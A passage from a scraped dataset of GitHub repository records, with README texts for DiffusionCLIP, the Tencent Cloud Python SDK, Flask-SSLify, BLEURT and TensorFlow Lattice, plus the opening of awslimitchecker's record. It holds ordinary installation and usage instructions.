DiffusionCLIP, that performs text-driven image manipulation using diffusion models. \n> Based on full inversion capability and high-quality image generation power of recent diffusion models, our method performs zero-shot image manipulation successfully even between unseen domains \n> and takes another step towards general application by manipulating images from a widely varying ImageNet dataset.\n> Furthermore, we propose a novel noise combination method that allows straightforward multi-attribute manipulation. \n> Extensive experiments and human evaluation confirmed robust and superior manipulation performance of our methods compared to the existing baselines.\n\n## Description\n\nThis repo includes the official PyTorch implementation of DiffusionCLIP, Text-Guided Diffusion Models for Robust Image Manipulation.\nDiffusionCLIP resolves the critical issues in zero-shot manipulation with the following contributions.\n- We revealed that diffusion model is well suited for image manipulation thanks to its nearly **perfect inversion** capability, which is an important advantage over GAN-based models and hadn't been analyzed in depth before our detailed comparison.\n- Our novel sampling strategies for fine-tuning can preserve perfect reconstruction at **increased speed**.\n- In terms of empirical results, our method enables accurate **in- and out-of-domain manipulation**, minimizes unintended changes, and significantly outperformes SOTA baselines. \n- **Our method takes another step towards <span style=\"color:red\">general application</span> by manipulating images from a <span style=\"color:red\">widely varying ImageNet</span> dataset**.\n- Finally, our **zero-shot translation between unseen domains** and **multi-attribute transfer** can effectively reduce manual intervention.\n\nThe training process is illustrated in the following figure. **Once the diffusion model is fine-tuned, any image from the pretrained domain can be manipulated into the corresponding to the target text without re-training**:\n \n![](imgs/method1.png)\n\nWe also propose two fine-tuning scheme. Quick original fine-tuning and GPU-efficient fine-tuning. For more details, please refer to Sec. B.1 in Supplementary Material.\n![](imgs/method2.png)\n\n\n## Getting Started\n\n### Installation\nWe recommend running our code using:\n\n- NVIDIA GPU + CUDA, CuDNN\n- Python 3, Anaconda\n\nTo install our implementation, clone our repository and run following commands to install necessary packages:\n  ```shell script\nconda install --yes -c pytorch pytorch=1.7.1 torchvision cudatoolkit=<CUDA_VERSION>\npip install -r requirements.txt\npip install git+https://github.com/openai/CLIP.git\n```\n### Resources\n- For the original fine-tuning, VRAM of 24 GB+ for 256x256 images are required.  \n- For the GPU-efficient fine-tuning, VRAM of 12 GB+ for 256x256 images and 24 GB+ for 512x512 images are required.   \n- For the inference, VRAM of 6 GB+ for 256x256 images and 9 GB+ for 512x512 images are required.  \n\n### Pretrained Models for DiffusionCLIP Fine-tuning\n\nTo manipulate soure images into images in CLIP-guided domain, the **pretrained Diffuson models** are required.\n\n| Image Type to Edit |Size| Pretrained Model | Dataset | Reference Repo. \n|---|---|---|---|---\n| Human face |256\u00d7256| Diffusion (Auto), [IR-SE50](https://drive.google.com/file/d/1KW7bjndL3QG3sxBbZxreGHigcCCpsDgn/view) | [CelebA-HQ](https://arxiv.org/abs/1710.10196) | [SDEdit](https://github.com/ermongroup/SDEdit), [TreB1eN](https://github.com/TreB1eN/InsightFace_Pytorch) \n| Church |256\u00d7256| Diffusion (Auto) | [LSUN-Bedroom](https://www.yf.io/p/lsun) | [SDEdit](https://github.com/ermongroup/SDEdit) \n| Bedroom |256\u00d7256| Diffusion (Auto) | [LSUN-Church](https://www.yf.io/p/lsun) | [SDEdit](https://github.com/ermongroup/SDEdit) \n| Dog face |256\u00d7256| [Diffusion](https://drive.google.com/file/d/14OG_o3aa8Hxmfu36IIRyOgRwEP6ngLdo/view) | [AFHQ-Dog](https://arxiv.org/abs/1912.01865) | [ILVR](https://github.com/jychoi118/ilvr_adm)\n| ImageNet |512\u00d7512| [Diffusion](https://openaipublic.blob.core.windows.net/diffusion/jul-2021/512x512_diffusion.pt) | [ImageNet](https://image-net.org/index.php) | [Guided Diffusion](https://github.com/openai/guided-diffusion)\n- The pretrained Diffuson models on 256x256 images in [CelebA-HQ](https://arxiv.org/abs/1710.10196), [LSUN-Church](https://www.yf.io/p/lsun), and [LSUN-Bedroom](https://www.yf.io/p/lsun) are automatically downloaded in the code.\n- In contrast, you need to download the models pretrained on [AFHQ-Dog-256](https://arxiv.org/abs/1912.01865) or [ImageNet-512](https://image-net.org/index.php) in the table and put it in `./pretrained` directory. \n- In addition, to use ID loss for preserving Human face identity, you are required to download the pretrained [IR-SE50](https://drive.google.com/file/d/1KW7bjndL3QG3sxBbZxreGHigcCCpsDgn/view) model from [TreB1eN](https://github.com/TreB1eN/InsightFace_Pytorch)  and put it in `./pretrained` directory.\n\n\n### Datasets \nTo precompute latents and fine-tune the Diffusion models, you need about 30+ images in the source domain. You can use both **sampled images** from the pretrained models or **real source images** from the pretraining dataset. \nIf you want to use **real source images**,  \n- for [CelebA-HQ](https://drive.google.com/drive/folders/0B4qLcYyJmiz0TXY1NG02bzZVRGs?resourcekey=0-arAVTUfW9KRhN-irJchVKQ), and [AFHQ-Dog](https://github.com/clovaai/stargan-v2), you can use following code:    \n```\n# CelebA-HQ 256x256\nbash data_download.sh celeba_hq .\n\n# AFHQ-Dog 256x256\nbash data_download.sh afhq .\n```\n- for [LSUN-Church](https://www.yf.io/p/lsun), [LSUN-Bedroom](https://www.yf.io/p/lsun) or [ImageNet](https://image-net.org/index.php), you can download them from the linked original sources and put them in `./data/lsun` or `./data/imagenet`.\n\nIf you want to use custom paths, you can simply modify `./configs/paths_config.py`.\n\n\n### Colab Notebook [![Open In Colab](https://colab.research.google.com/assets/colab-badge.svg)](https://colab.research.google.com/drive/1E8QHZ3BbkF6hzk0rRKzhfkySmYf_BZaE?usp=sharing)\nWe provide a colab notebook for you to play with DiffusionCLIP! Due to 12GB of the VRAM limit in Colab, we only provide the codes of inference & applications with the fine-tuned DiffusionCLIP models, not fine-tuning code. \nWe provide a wide range of types of edits, and you can also upload your fine-tuned models following below instructions on Colab and test them.\n\n\n\n## DiffusionCLIP Fine-tuning \n\n\nTo fine-tune the pretrained Diffusion model guided by CLIP, run the following commands:\n\n```\npython main.py --clip_finetune          \\\n               --config celeba.yml      \\\n               --exp ./runs/test        \\\n               --edit_attr neanderthal  \\\n               --do_train 1             \\\n               --do_test 1              \\\n               --n_train_img 50         \\\n               --n_test_img 10          \\\n               --n_iter 5               \\\n               --t_0 500                \\\n               --n_inv_step 40          \\\n               --n_train_step 6         \\\n               --n_test_step 40         \\\n               --lr_clip_finetune 8e-6  \\\n               --id_loss_w 0            \\\n               --l1_loss_w 1            \n```\n- You can use `--clip_finetune_eff` instead of `--clip_finetune` to save GPU memory.\n- `config`: `celeba.yml` for human face, `bedroom.yml` for bedroom, `church.yml` for church, `afhq.yml` for dog face and , `imagenet.yml` for images from ImageNet.\n- `exp`: Experiment name.\n- `edit_attr`: Attribute to edit, you can use `./utils/text_dic.py` to predefined source-target text pairs or define new pair. \n  - Instead, you can use `--src_txts` and `--trg_txts`. \n- `do_train`, `do_test`: If you finish training quickly withouth checking the outputs in the middle of training, you can set `do_test` as 1.\n- `n_train_img`, `n_test_img`: # of images in the trained domain for training and test.        \n- `n_iter`: # of iterations of a generative process with `n_train_img` images.\n- `t_0`: Return step in [0, 1000), high `t_0` enable severe change but may lose more identity or semantics in the original image.  \n- `n_inv_step`, `n_train_step`, `n_test_step`: # of steps during the generative pross for the inversion, training and test respectively. They are in `[0, t_0]`. We usually use 40, 6 and 40  for `n_inv_step`, `n_train_step` and `n_test_step` respectively. \n   - We found that the manipulation quality is better when `n_***_step` does not divide `t_0`. So we usally use 301, 401, 500 or 601 for `t_0`.\n- `lr_clip_finetune`: Initial learning rate for CLIP-guided fine-tuning.\n- `id_loss_w`, `l1_loss` : Weights of ID loss and L1 loss when CLIP loss weight is 3.\n\n\n\n## Novel Applications\n\nThe fine-tuned models through DiffusionCLIP can be leveraged to perform the several novel applications. \n\n### Manipulation of Images in Trained Domain & to Unseen Domain\n![](imgs/app_1_manipulation.png)\n\nYou can edit one image into the CLIP-guided domain by running the following command:\n``` \npython main.py --edit_one_image            \\\n               --config celeba.yml         \\\n               --exp ./runs/test           \\\n               --t_0 500                   \\\n               --n_inv_step 40             \\\n               --n_test_step 40            \\\n               --n_iter 1                  \\\n               --img_path imgs/celeb1.png  \\\n               --model_path  checkpoint/neanderthal.pth\n```\n- `img_path`: Path of an image to edit\n- `model_path`: Finetuned model path to use\n\nYou can edit multiple images from the dataset into the CLIP-guided domain by running the following command:\n```\npython main.py --edit_images_from_dataset  \\\n               --config celeba.yml         \\\n               --exp ./runs/test           \\\n               --n_test_img 50             \\\n               --t_0 500                   \\\n               --n_inv_step 40             \\\n               --n_test_step 40            \\\n               --model_path checkpoint/neanderthal.pth\n```\n \n\n### Image Translation from Unseen Domain into Another Unseen Domain\n![](imgs/app_2_unseen2unseen.png)\n\n\n###  Generation of Images in Unseen Domain from Strokes\n![](imgs/app_3_stroke2unseen.png)\nYou can tranlate images from an unseen domain to another unseen domain. (e.g. Stroke/Anime \u279d Neanderthal) using following command: \n\n```\npython main.py --unseen2unseen          \\\n               --config celeba.yml      \\\n               --exp ./runs/test        \\\n               --t_0 500                \\\n               --bs_test 4              \\\n               --n_iter 10              \\\n               --n_inv_step 40          \\\n               --n_test_step 40         \\\n               --img_path imgs/stroke1.png \\\n               --model_path  checkpoint/neanderthal.pth\n```\n- `img_path`: Stroke image or source image in the unseen domain e.g. portrait\n- `n_iter`: # of iterations of stochastic foward and generative processes to translate an unseen source image into the image in the trained domain. It's required to be larger than 8. \n\n### Multiple Attribute Changes\n![](imgs/app_4_multiple_change.png)\nYou can change multiple attributes thorugh only one generative process by mixing the noise from the multipe fintuned models.\n1. Set `HYBRID_MODEL_PATHS` of `HYBRID_CONFIG` in `./configs/paths_config`. The keys of \n2. Run the commands for above **Manipulation of Images in Trained Domain & to Unseen Domain** with `--hybrid_noise 1`   \n\n```\nHYBRID_MODEL_PATHS = [\n\t'curly_hair.pth',\n\t'makeup.pth',\n]\n\nHYBRID_CONFIG = \\\n\t{ 300: [1, 0],**\n\t    0: [0.3, 0.7]}\n```\n\nThe keys and values of `HYBRID_CONFIG` dictionary correspond to thresholds and ratios for the noise mixing process using multiple models. The following pseudo-code represent the noise mixing process. The full codes are in `./utils/diffusion_utils.py`.\n```\n# models: list of the finetuned diffusion models \n\nfor thr in list(HYBRID_CONFIG.keys()):\n    if t >= thr:\n        et = 0\n        for i, ratio in enumerate(HYBRID_CONFIG[thr]):\n            ratio /= sum(HYBRID_CONFIG[thr])\n            et_i = models[i](xt, t)\n            et += ratio * et_i\n        break\n```\n\n## Finetuned Models Using DiffuionCLIP\n\nWe provide a Google Drive containing several fintuned models using DiffusionCLIP. [Human Face, Dog Face, Church, Bedroom](https://drive.google.com/drive/folders/1Uwvm_gckanyRzQkVTLB6GLQbkSBoZDZF?usp=sharing),\n[ImageNet Style Transfer](https://drive.google.com/drive/folders/1Qb9jcv3Be3k7UtVQykI2PWqznUzb0t8R?usp=sharing), [ImageNet Tennis Ball](https://drive.google.com/drive/folders/1I3rhsPbEkQkWeoGW9kryv8nB_eLeHXfY?usp=sharing)\n\n## Related Works\n\nUsage of guidance by [CLIP](https://arxiv.org/abs/2103.00020) to manipulate images is motivated by [StyleCLIP](https://arxiv.org/abs/2103.17249) and [StyleGAN-NADA](https://arxiv.org/abs/2108.00946).\nImage translation from an unseen domain to the trained domain using diffusion models is introduced in [SDEdit](https://arxiv.org/abs/2108.01073), [ILVR](https://arxiv.org/abs/2108.02938).\nDDIM sampling and its reveral for generation and inversion of images are introduced by in [DDIM](https://arxiv.org/abs/2010.02502), [Diffusion Models Beat GANs on Image Synthesis](https://arxiv.org/abs/2105.05233).\n\nOur code strcuture is based on the official codes of [SDEdit](https://github.com/ermongroup/SDEdit) and [StyleGAN-NADA](https://github.com/rinongal/StyleGAN-nada). We used pretrained models from [SDEdit](https://github.com/ermongroup/SDEdit) and [ILVR](https://github.com/jychoi118/ilvr_adm).\n\n\n## Citation\nIf you find DiffusionCLIP useful in your research, please consider citing:\n\n    @InProceedings{Kim_2022_CVPR,\n        author    = {Kim, Gwanghyun and Kwon, Taesung and Ye, Jong Chul},\n        title     = {DiffusionCLIP: Text-Guided Diffusion Models for Robust Image Manipulation},\n        booktitle = {Proceedings of the IEEE/CVF Conference on Computer Vision and Pattern Recognition (CVPR)},\n        month     = {June},\n        year      = {2022},\n        pages     = {2426-2435}\n    }\n\n## Additional Results\n\nHere, we show more manipulation of real images in the diverse datasets using DiffusionCLIP where the original pretrained models\nare trained on [AFHQ-Dog](https://arxiv.org/abs/1912.01865), [LSUN-Bedroom](https://www.yf.io/p/lsun) and [ImageNet](https://image-net.org/index.php), respectively.\n\n[comment]: <> (![]&#40;imgs/more_manipulation1.png&#41;)\n\n[comment]: <> (![]&#40;imgs/more_manipulation2.png&#41;)\n\n[comment]: <> (![]&#40;imgs/more_manipulation3.png&#41;)\n\n[comment]: <> (![]&#40;imgs/more_manipulation4.png&#41;)\n\n<p align=\"center\">\n\n  <img src=\"https://github.com/submission10095/DiffusionCLIP_temp/blob/master/imgs/more_manipulation1.png\" />\n\n  <img src=\"https://github.com/submission10095/DiffusionCLIP_temp/blob/master/imgs/more_manipulation2.png\" />\n\n  <img src=\"https://github.com/submission10095/DiffusionCLIP_temp/blob/master/imgs/more_manipulation3.png\" />\n\n  <img src=\"https://github.com/submission10095/DiffusionCLIP_temp/blob/master/imgs/more_manipulation4.png\" />\n\n</p>\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "TencentCloud/tencentcloud-sdk-python", "link": "https://github.com/TencentCloud/tencentcloud-sdk-python", "tags": [], "stars": 506, "description": "Tencent Cloud API 3.0 SDK for Python", "lang": "Python", "repo_lang": "", "readme": "============================\nTencent Cloud SDK for Python\n============================\n\nTencent Cloud Python SDK is the official software development kit, which allows Python developers to write software that makes use of Tencent Cloud services like CVM and CBS.\n\nThe SDK works on Python versions:\n\n   * 2.7 and greater, including 3.x\n\nQuick Start\n-----------\nFirst, install the library:\n\n.. code-block:: sh\n\n    $ pip install tencentcloud-sdk-python\n\nor download source code from github and install:\n\n.. code-block:: sh\n\n    $ git clone https://github.com/tencentcloud/tencentcloud-sdk-python.git\n    $ cd tencentcloud-sdk-python\n    $ python setup.py install\n", "readme_type": "rst", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "not-kennethreitz/flask-sslify", "link": "https://github.com/not-kennethreitz/flask-sslify", "tags": [], "stars": 506, "description": "Force SSL on your Flask app. ", "lang": "Python", "repo_lang": "", "readme": "Flask-SSLify\n============\n\nThis is a simple Flask extension that configures your Flask application to redirect\nall incoming requests to HTTPS.\n\nThe extension is no longer maintained, prefer using `Flask-Talisman <https://github.com/GoogleCloudPlatform/flask-talisman>`_ as it is encouraged by the `Flask Security Guide <http://flask.pocoo.org/docs/dev/security/>`_.\n\nIf you're interested in financially supporting Kenneth Reitz open source, consider `visiting this link <https://cash.me/$KennethReitz>`_. Your support helps tremendously with sustainability of motivation, as Open Source is no longer part of my day job.\n\nRedirects only occur when ``app.debug`` is ``False``.\n\nUsage\n-----\n\nUsage is pretty simple::\n\n    from flask import Flask\n    from flask_sslify import SSLify\n\n    app = Flask(__name__)\n    sslify = SSLify(app)\n\n\nIf you make an HTTP request, it will automatically redirect::\n\n    $ curl -I http://secure-samurai.herokuapp.com/\n    HTTP/1.1 302 FOUND\n    Content-length: 281\n    Content-Type: text/html; charset=utf-8\n    Date: Sun, 29 Apr 2012 21:39:36 GMT\n    Location: https://secure-samurai.herokuapp.com/\n    Server: gunicorn/0.14.2\n    Strict-Transport-Security: max-age=31536000\n    Connection: keep-alive\n\n\nHTTP Strict Transport Security\n------------------------------\n\nFlask-SSLify also provides your application with an HSTS policy.\n\nBy default, HSTS is set for *one year* (31536000 seconds).\n\nYou can change the duration by passing the ``age`` parameter::\n\n    sslify = SSLify(app, age=300)\n\nIf you'd like to include subdomains in your HSTS policy, set the ``subdomains`` parameter::\n\n    sslify = SSLify(app, subdomains=True)\n\n\nOr by including ``SSLIFY_SUBDOMAINS`` in your app's config.\n\n\nHTTP 301 Redirects\n------------------\n\nBy default, the redirect is issued with a HTTP 302 response. You can change that to a HTTP 301 response\nby passing the ``permanent`` parameter::\n\n    sslify = SSLify(app, permanent=True)\n\nOr by including ``SSLIFY_PERMANENT`` in your app's config.\n\n\nExclude Certain Paths from Being Redirected\n-------------------------------------------\nYou can exlude a path that starts with given string by including a list called ``skips``::\n \n     sslify = SSLify(app, skips=['mypath', 'anotherpath'])\n\nOr by including ``SSLIFY_SKIPS`` in your app's config.\n\n\nInstall\n-------\n\nInstallation is simple too::\n\n    $ pip install Flask-SSLify\n    \n    \nSecurity consideration using basic auth\n---------------------------------------\n\nWhen using basic auth, it is important that the redirect occurs before the user is prompted for\ncredentials. Flask-SSLify registers a ``before_request`` handler, to make sure this handler gets\nexecuted before credentials are entered it is advisable to not prompt for any authentication\ninside a ``before_request`` handler.\n\nThe example found at http://flask.pocoo.org/snippets/8/ works nicely, as the view function's\ndecorator will never have an effect before the ``before_request`` hooks are executed.\n", "readme_type": "rst", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "google-research/bleurt", "link": "https://github.com/google-research/bleurt", "tags": [], "stars": 506, "description": "BLEURT is a metric for Natural Language Generation based on transfer learning.", "lang": "Python", "repo_lang": "", "readme": "# BLEURT: a Transfer Learning-Based Metric for Natural Language Generation\n\nBLEURT is an evaluation metric for Natural Language Generation. It takes a pair of sentences as input, a *reference* and a *candidate*, and it returns a score that indicates to what extent the candidate is fluent and conveys the meaning of the reference. It is comparable to [`sentence-BLEU`](https://en.wikipedia.org/wiki/BLEU), [`BERTscore`](https://arxiv.org/abs/1904.09675), and [`COMET`](https://github.com/Unbabel/COMET).\n\nBLEURT is a *trained metric*, that is, it is a regression model trained on ratings data. The model is based on [`BERT`](https://arxiv.org/abs/1810.04805) and [`RemBERT`](https://arxiv.org/pdf/2010.12821.pdf). This repository contains all the code necessary to use it and/or fine-tune it for your own applications. BLEURT uses Tensorflow, and it benefits greatly from modern GPUs (it runs on CPU too).\n\nAn overview of BLEURT can be found in our our [blog post](https://ai.googleblog.com/2020/05/evaluating-natural-language-generation.html). Further details are provided in the ACL paper [BLEURT: Learning Robust Metrics for Text Generation](https://arxiv.org/abs/2004.04696) and [our EMNLP paper](http://arxiv.org/abs/2110.06341).\n\n\n## Installation\n\nBLEURT runs in Python 3. It relies heavily on `Tensorflow` (>=1.15) and the\nlibrary `tf-slim` (>=1.1).\nYou may install it as follows:\n\n```\npip install --upgrade pip  # ensures that pip is current\ngit clone https://github.com/google-research/bleurt.git\ncd bleurt\npip install .\n```\n\nYou may check your install with unit tests:\n\n```\npython -m unittest bleurt.score_test\npython -m unittest bleurt.score_not_eager_test\npython -m unittest bleurt.finetune_test\npython -m unittest bleurt.score_files_test\n```\n\n## Using BLEURT - TL;DR Version\n\nThe following commands download the recommended checkpoint and run BLEURT:\n\n```\n# Downloads the BLEURT-base checkpoint.\nwget https://storage.googleapis.com/bleurt-oss-21/BLEURT-20.zip .\nunzip BLEURT-20.zip\n\n# Runs the scoring.\npython -m bleurt.score_files \\\n  -candidate_file=bleurt/test_data/candidates \\\n  -reference_file=bleurt/test_data/references \\\n  -bleurt_checkpoint=BLEURT-20\n```\nThe files `bleurt/test_data/candidates` and `references` contain test sentences,\nincluded by default in the BLEURT distribution. The input format is one sentence per line.\nYou may replace them with your own files. The command outputs one score per sentence pair.\n\n**Oct 8th 2021 Update:** we upgraded the recommended checkpoint to BLEURT-20, a more accurate, multilingual model  \ud83c\udf89.\n\n\n## Using BLEURT - the Long Version\n\n### Command-line tools and APIs\n\nCurrently, there are three methods to invoke BLEURT: the command-line interface, the Python API, and the Tensorflow API.\n\n#### Command-line interface\n\nThe simplest way to use BLEURT is through command line, as shown below.\n\n```\npython -m bleurt.score_files \\\n  -candidate_file=bleurt/test_data/candidates \\\n  -reference_file=bleurt/test_data/references \\\n  -bleurt_checkpoint=bleurt/test_checkpoint \\\n  -scores_file=scores\n```\nThe files `candidates` and `references` contain one sentence per line (see the folder `test_data` for the exact format). Invoking the command should produce a file `scores` which contains one BLEURT score per sentence pair. Alternatively you may use a [JSONL file](https://jsonlines.org/), as follows:\n\n```\npython -m bleurt.score_files \\\n  -sentence_pairs_file=bleurt/test_data/sentence_pairs.jsonl \\\n  -bleurt_checkpoint=bleurt/test_checkpoint\n```\n\n\nThe flags `bleurt_checkpoint` and `scores_file` are optional. If `bleurt_checkpoint` is not specified, BLEURT will default to a test checkpoint, based on [BERT-Tiny](https://github.com/google-research/bert), which is very light but also very inaccurate (we recommend against using it). If `scores_files` is not specified, BLEURT will use the standard output.\n\n\nThe following command lists all the other command-line options:\n\n```\npython -m bleurt.score_files -helpshort\n```\n\n\n#### Python API\n\nBLEURT may be used as a Python library as follows:\n\n```\nfrom bleurt import score\n\ncheckpoint = \"bleurt/test_checkpoint\"\nreferences = [\"This is a test.\"]\ncandidates = [\"This is the test.\"]\n\nscorer = score.BleurtScorer(checkpoint)\nscores = scorer.score(references=references, candidates=candidates)\nassert isinstance(scores, list) and len(scores) == 1\nprint(scores)\n```\nHere again, BLEURT will default to `BERT-Tiny` if no checkpoint is specified.\n\nBLEURT works both in `eager_mode` (default in TF 2.0) and in a `tf.Session` (TF 1.0), but the latter mode is slower and may be deprecated in the near\nfuture.\n\n\n#### Tensorflow API\n\nBLEURT may be embedded in a TF computation graph, e.g., to visualize it\non the Tensorboard while training a model.\n\nThe following piece of code shows an example:\n\n```\nimport tensorflow as tf\n# Set tf.enable_eager_execution() if using TF 1.x.\n\nfrom bleurt import score\n\nreferences = tf.constant([\"This is a test.\"])\ncandidates = tf.constant([\"This is the test.\"])\n\nbleurt_ops = score.create_bleurt_ops()\nbleurt_out = bleurt_ops(references=references, candidates=candidates)\n\nassert bleurt_out[\"predictions\"].shape == (1,)\nprint(bleurt_out[\"predictions\"])\n```\nThe crucial part is the call to `score.create_bleurt_ops`, which creates the TF ops.\n\n\n## Checkpoints\n\nA *BLEURT checkpoint* is a self-contained folder that contains a regression model and some information that BLEURT needs to run. BLEURT checkpoints can be downloaded, copy-pasted, and stored anywhere. Furthermore, checkpoints are tunable, which means that they can be fine-tuned on custom ratings data.\n\n\nBLEURT defaults to the `test` checkpoint, which is very inaccaurate. We recommend\nusing [`BLEURT-20`](https://storage.googleapis.com/bleurt-oss-21/BLEURT-20.zip) for results reporting. You may use it as follows:\n\n```\nwget https://storage.googleapis.com/bleurt-oss-21/BLEURT-20.zip .\nunzip BLEURT-20.zip\npython -m bleurt.score_files \\\n  -candidate_file=bleurt/test_data/candidates \\\n  -reference_file=bleurt/test_data/references \\\n  -bleurt_checkpoint=BLEURT-20\n```\n\nThe [checkpoints page](https://github.com/google-research/bleurt/blob/master/checkpoints.md) provides more information about\nhow these checkpoints were trained, as well as pointers to smaller models. Additionally, you can fine-tune BERT or existing BLEURT checkpoints on your own ratings data. The [checkpoints page](https://github.com/google-research/bleurt/blob/master/checkpoints.md) describes how to do so.\n\n## Interpreting BLEURT Scores\nDifferent BLEURT checkpoints yield different scores. The currently recommended checkpoint [`BLEURT-20`](https://storage.googleapis.com/bleurt-oss-21/BLEURT-20.zip)\ngenerates scores which are roughly between 0 and 1 (sometimes less than 0, sometimes more than 1), where 0 indicates a random output and 1 a perfect one. As with all automatic metrics, BLEURT scores are noisy. For a robust evaluation of a system's quality, we recommend averaging BLEURT scores across the sentences in a corpus. See the [WMT Metrics Shared Task](http://statmt.org/wmt21/metrics-task.html) for a comparison of metrics on this aspect.\n\n\nIn principle, BLEURT should measure *adequacy*: most of its training data was collected by the WMT organizers who asked to annotators \"How much do you agree that the system output adequately expresses the meaning of the reference?\" ([WMT Metrics'18](http://www.statmt.org/wmt18/pdf/WMT078.pdf), [Graham et al., 2015](https://minerva-access.unimelb.edu.au/bitstream/handle/11343/56463/Graham_Can-machine-translation.pdf)). In practice however, the answers tend to be very correlated with *fluency* (\"Is the text fluent English?\"), and we added synthetic noise in the training set which makes the distinction between adequacy and fluency somewhat fuzzy.\n\n\n## Language Coverage\n\nCurrently, [`BLEURT-20`](https://storage.googleapis.com/bleurt-oss-21/BLEURT-20.zip) was tested on 13 languages: Chinese, Czech, English, French, German, Japanese, Korean, Polish, Portugese, Russian, Spanish, Tamil, Vietnamese (these are languages for which we have held-out ratings data). In theory, it should work for [the 100+ languages of multilingual C4](https://www.tensorflow.org/datasets/catalog/c4#c4multilingual), on which [RemBERT](https://arxiv.org/pdf/2010.12821.pdf) was trained.\n\nIf you tried any other language and would like to share your experience, either positive or negative, please send us feedback!\n\n## Speeding Up BLEURT\n\nWe describe three methods to speed up BLEURT, and how to combine them.\n\n#### Batch size tuning\nYou may specify the flag `-bleurt_batch_size` which determines the number of sentence pairs processed at once by BLEURT. The default value is 16, you may want to increase or decrease it based on the memory available and the presence of a GPU (we typically use 16 when using a laptop without a GPU, 100 on a workstation with a GPU).\n\n\n#### Length-based batching\nLength-based batching is an optimization which consists in batching examples that have a similar a length and cropping the resulting tensor, to avoid wasting computations on padding tokens. This technique oftentimes results in spectacular speed-ups (typically, ~2-10X). It is described [here](https://towardsdatascience.com/divide-hugging-face-transformers-training-time-by-2-or-more-21bf7129db9q-21bf7129db9e), and it was successfully used by [BERTScore](https://github.com/Tiiiger/bert_score) in the field of learned metrics.\n\nYou can enable length-based by specifying `-batch_same_length=True` when calling `score_files` with the command line, or by instantiating a `LengthBatchingBleurtScorer` instead of `BleurtScorer` when using the Python API.\n\n\n#### Distilled models\nWe provide pointers to several compressed checkpoints on the [checkpoints page](https://github.com/google-research/bleurt/blob/master/checkpoints.md). These models were obtained by distillation, a *lossy* process, and therefore the outputs cannot be directly compared to those of the original BLEURT model (though they should be strongly correlated).\n\n\n#### Putting everything together\nThe following command illustrates how to combine these three techniques, speeding up BLEURT by an order of magnitude (up to 20X with our configuration) on larger files:\n\n```\n# Downloads the 12-layer distilled model, which is ~3.5X smaller.\nwget https://storage.googleapis.com/bleurt-oss-21/BLEURT-20-D12.zip .\nunzip BLEURT-20-D12.zip\n\npython -m bleurt.score_files \\\n  -candidate_file=bleurt/test_data/candidates \\\n  -reference_file=bleurt/test_data/references \\\n  -bleurt_batch_size=100 \\            # Optimization 1.\n  -batch_same_length=True \\           # Optimization 2.\n  -bleurt_checkpoint=BLEURT-20-D12    # Optimization 3.\n```\n\n\n## Reproducibility\n\nYou may find information about how to work with ratings from the [WMT Metrics Shared Task](http://www.statmt.org/wmt19/metrics-task.html), reproduce results\nfrom [our ACL paper](https://arxiv.org/abs/2004.04696), and a selection of models from [our EMNLP paper](http://arxiv.org/abs/2110.06341) on [this page](https://github.com/google-research/bleurt/blob/master/wmt_experiments.md).\n\n\n## How to Cite\n\nPlease cite our ACL paper:\n\n```\n@inproceedings{sellam2020bleurt,\n  title = {BLEURT: Learning Robust Metrics for Text Generation},\n  author = {Thibault Sellam and Dipanjan Das and Ankur P Parikh},\n  year = {2020},\n  booktitle = {Proceedings of ACL}\n}\n```\n\nThe latest model, BLEURT-20, is based on work that led to this follow-up paper:\n```\n@inproceedings{pu2021learning,\n  title = {Learning compact metrics for MT},\n  author = {Pu, Amy and Chung, Hyung Won and Parikh, Ankur P and Gehrmann, Sebastian and Sellam, Thibault},\n  booktitle = {Proceedings of EMNLP},\n  year = {2021}\n}\n```\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "tensorflow/lattice", "link": "https://github.com/tensorflow/lattice", "tags": [], "stars": 506, "description": "Lattice methods in TensorFlow", "lang": "Python", "repo_lang": "", "readme": "<!-- Copyright 2020 The TensorFlow Lattice Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n=============================================================================-->\n# TensorFlow Lattice\n\nTensorFlow Lattice is a library that implements constrained and interpretable\nlattice based models. It is an implementation of\n[Monotonic Calibrated Interpolated Look-Up Tables](http://jmlr.org/papers/v17/15-243.html)\nin [TensorFlow](https://www.tensorflow.org).\n\nThe library enables you to inject domain knowledge into\nthe learning process through common-sense or policy-driven shape constraints.\nThis is done using a collection of Keras layers that can satisfy constraints\nsuch as monotonicity, convexity and pairwise trust:\n\n* PWLCalibration: piecewise linear calibration of signals.\n* CategoricalCalibration: mapping of categorical inputs into real values.\n* Lattice: interpolated look-up table implementation.\n* Linear: linear function with monotonicity and norm constraints.\n\nThe library also provides easy to setup canned estimators for common use cases:\n\n* Calibrated Linear\n* Calibrated Lattice\n* Random Tiny Lattices (RTL)\n* Crystals\n\nWith TF Lattice you can use domain knowledge to better extrapolate to the parts\nof the input space not covered by the training dataset. This helps avoid\nunexpected model behaviour when the serving distribution is different from the\ntraining distribution.\n\n<div align=\"center\">\n  <img src=\"docs/images/model_comparison.png\">\n</div>\n\nYou can install our prebuilt pip package using\n\n```bash\npip install tensorflow-lattice\n```\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "jantman/awslimitchecker", "link": "https://github.com/jantman/awslimitchecker", "tags": ["python", "aws"], "stars": 506, "description": "A script and python package to check your AWS service limits and usage via boto3.", "lang": "Python", "repo_lang": "", "readme": "awslimitchecker\n===============\n\n.. image:: https://img.shields.io/pypi/v/awslimitchecker.svg\n   :target: https://pypi.python.org/pypi/awslimitchecker\n   :alt: PyPi package version\n\n.. image:: http://jantman-personal-public.s3-website-us-east-1.amazonaws.com/pypi-stats/awslimitchecker/per-month.svg\n   :target: http://jantman-personal-public.s3-website-us-east-1.amazonaws.com/pypi-stats/awslimitchecker/index.html\n   :alt: PyPi 